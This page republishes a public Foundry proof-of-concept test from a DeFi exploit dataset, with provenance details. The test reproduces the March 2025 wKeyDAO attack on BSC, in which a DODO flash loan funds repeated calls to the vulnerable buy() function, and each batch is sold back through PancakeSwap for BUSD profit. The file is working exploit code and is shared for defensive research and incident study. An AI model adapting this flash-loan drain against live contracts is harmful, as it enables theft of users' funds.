Public reproduction file
src/test/2025-03/wKeyDAO_exp.sol
Public reproduction file for dataset entry wKeyDAO.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.13;5import "../basetest.sol";6import {IERC20, WETH} from "../interface.sol";8// @KeyInfo - Total Lost : ~767 US$9// Attacker : 0x3026c464d3bd6ef0ced0d49e80f171b58176ce3210// Attack Contract : 0x3783c91ee49a303c17c558f92bf8d6395d2f76e311// Vulnerable Contract : 0xd511096a73292a7419a94354d4c1c73e8a3cd85112// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8?line=1215// @Analysis16// Post-mortem : https://x.com/Phalcon_xyz/status/190080993690671154917// @POC Author : [Yajin Zhou](https://x.com/yajinzhou)20// Contracts involved21address constant wKeyDaoSell = 0xD511096a73292A7419a94354d4C1C73e8a3CD851;22address constant BUSD = 0x55d398326f99059fF775485246999027B3197955;23address constant wKeyDAO = 0x194B302a4b0a79795Fb68E2ADf1B8c9eC5ff8d1F;24address constant pancakeSwapRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;26contract wKeyDao_exp is Test {27 address attacker = makeAddr("attacker");29 function setUp() public {30 vm.createSelectFork("bsc", 47_469_060 - 1);31 }33 function testPoC() public {34 vm.startPrank(attacker);35 Attacker attc = new Attacker();37 uint balanceBefore = IERC20(BUSD).balanceOf(address(attc));39 attc.fire();41 uint balanceAfter = IERC20(BUSD).balanceOf(address(attc));43 console2.log("Profit: ", (balanceAfter - balanceBefore) / 1e18);45 }46}48contract Attacker {50 function fire() external { 51 __dodoFlashLoan(address(0x107F3Be24e3761A91322AA4f5F54D9f18981530C), 1_200e18, BUSD);52 }54 function onERC721Received(55 address,56 address,57 uint256,58 bytes calldata59 ) external pure returns (bytes4) {60 return IERC721Receiver.onERC721Received.selector;61 }63 function __dodoFlashLoan(64 address flashLoanPool, //You will make a flashloan from this DODOV2 pool65 uint256 loanAmount, 66 address loanToken67 ) internal {68 bytes memory data = abi.encode(flashLoanPool, loanToken, loanAmount);69 address flashLoanBase = IDODO(flashLoanPool)._BASE_TOKEN_();70 console2.log("flashLoanBase Balance:", flashLoanBase);72 if(flashLoanBase == loanToken) {73 IDODO(flashLoanPool).flashLoan(loanAmount, 0, address(this), data);74 } else {75 IDODO(flashLoanPool).flashLoan(0, loanAmount, address(this), data);76 }77 }79 //Note: CallBack function executed by DODOV2(DVM) flashLoan pool80 function DVMFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount,bytes calldata data) external {81 _flashLoanCallBack(sender,baseAmount,quoteAmount,data);82 }84 function _flashLoanCallBack(address sender, uint256, uint256, bytes calldata data) internal {85 (address flashLoanPool, address loanToken, uint256 loanAmount) = abi.decode(data, (address, address, uint256));87 require(sender == address(this) && msg.sender == flashLoanPool, "HANDLE_FLASH_NENIED");89 __realAttack();91 //Return funds92 IERC20(loanToken).transfer(flashLoanPool, loanAmount);93 }95 function __realAttack() internal {97 //approve BUSD to wKeyDaoSell98 IERC20(BUSD).approve(wKeyDaoSell, 1_000_000e18);100 //approve wKeyDAO to pancakeSwapRouterV2101 IERC20(wKeyDAO).approve(pancakeSwapRouterV2, 10000000000000000000000000000000);103 // to save time, we loop 5 times. -- can buy 67 times in total104 for (uint256 i = 0; i < 5; i ++) {105 //buy106 IwKeyDaoSell(wKeyDaoSell).buy();108 //sell wKeyDAO109 address[] memory path = new address[](2);110 path[0] = address(wKeyDAO);111 path[1] = address(BUSD);112 IPancakeRouter02(pancakeSwapRouterV2).swapExactTokensForTokensSupportingFeeOnTransferTokens(113 IERC20(wKeyDAO).balanceOf(address(this)),114 0,115 path,116 address(this),117 block.timestamp118 );119 }121 }122}124interface IwKeyDaoSell {125 function buy() external ;126}128interface IDODO {129 function flashLoan(130 uint256 baseAmount,131 uint256 quoteAmount,132 address assetTo,133 bytes calldata data134 ) external;136 function _BASE_TOKEN_() external view returns (address);137 function _BASE_RESERVE_() external view returns (uint112);138 function _QUOTE_TOKEN_() external view returns (address);139 function _QUOTE_RESERVE_() external view returns (uint112);140}142interface IERC721Receiver {143 function onERC721Received(144 address operator,145 address from,146 uint256 tokenId,147 bytes calldata data148 ) external returns (bytes4);149}151interface IPancakeRouter02 {152 function swapExactTokensForTokensSupportingFeeOnTransferTokens(153 uint amountIn,154 uint amountOutMin,155 address[] calldata path,156 address to,157 uint deadline158 ) external;159}Analysis
Dataset entry
Public Foundry test for “wKeyDAO” (2025-03-16). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-03/Alkimiya_io_exp.solSame month in the dataset · 145 lines
- src/test/2025-03/BBXToken_exp.solSame month in the dataset · 128 lines
- src/test/2025-03/DCFToken_exp.solSame month in the dataset · 184 lines
- src/test/2025-03/DUCKVADER_exp.solSame month in the dataset · 82 lines
- src/test/2025-03/H2O_exp.solSame month in the dataset · 163 lines
- src/test/2025-03/LeverageSIR_exp.solSame month in the dataset · 258 lines
- src/test/2025-03/PTM_exp.solSame month in the dataset · 103 lines
- src/test/2025-03/Pump_exp.solSame month in the dataset · 130 lines
- src/test/2025-03/RnsPay_exp.solSame month in the dataset · 157 lines
- src/test/2025-03/SBRToken_exp.solSame month in the dataset · 80 lines
- src/test/2025-03/StackMarket_exp.solSame month in the dataset · 136 lines
- src/test/2025-03/UNI_exp.solSame month in the dataset · 111 lines
- src/test/2025-03/unverified_3f27_exp.solSame month in the dataset · 112 lines
- src/test/2025-03/unverified_de7c_exp.solSame month in the dataset · 129 lines
- src/test/2025-03/YziAIToken_exp.solSame month in the dataset · 69 lines
- src/test/2025-03/ZeroExSettler_exp.solSame month in the dataset · 110 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
- Attack Contract
0x3783c91ee49a303c17c558f92bf8d6395d2f76e3
- Vulnerable Contract
0xd511096a73292a7419a94354d4c1c73e8a3cd851
- Attack Tx
0xc9bccafdb0cd977556d1f88ac39bf8b455c0275ac1dd4b51d75950fb58bad4c8
File record
- Name
- wKeyDAO
- Path
- src/test/2025-03/wKeyDAO_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 5290992e99606015e5cdaa91be2ce3ffc861424b
- Language
- Solidity
- Size
- 160 lines
- Date
- 2025-03-16
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-03/wKeyDAO_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 5290992e99606015e5cdaa91be2ce3ffc861424b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.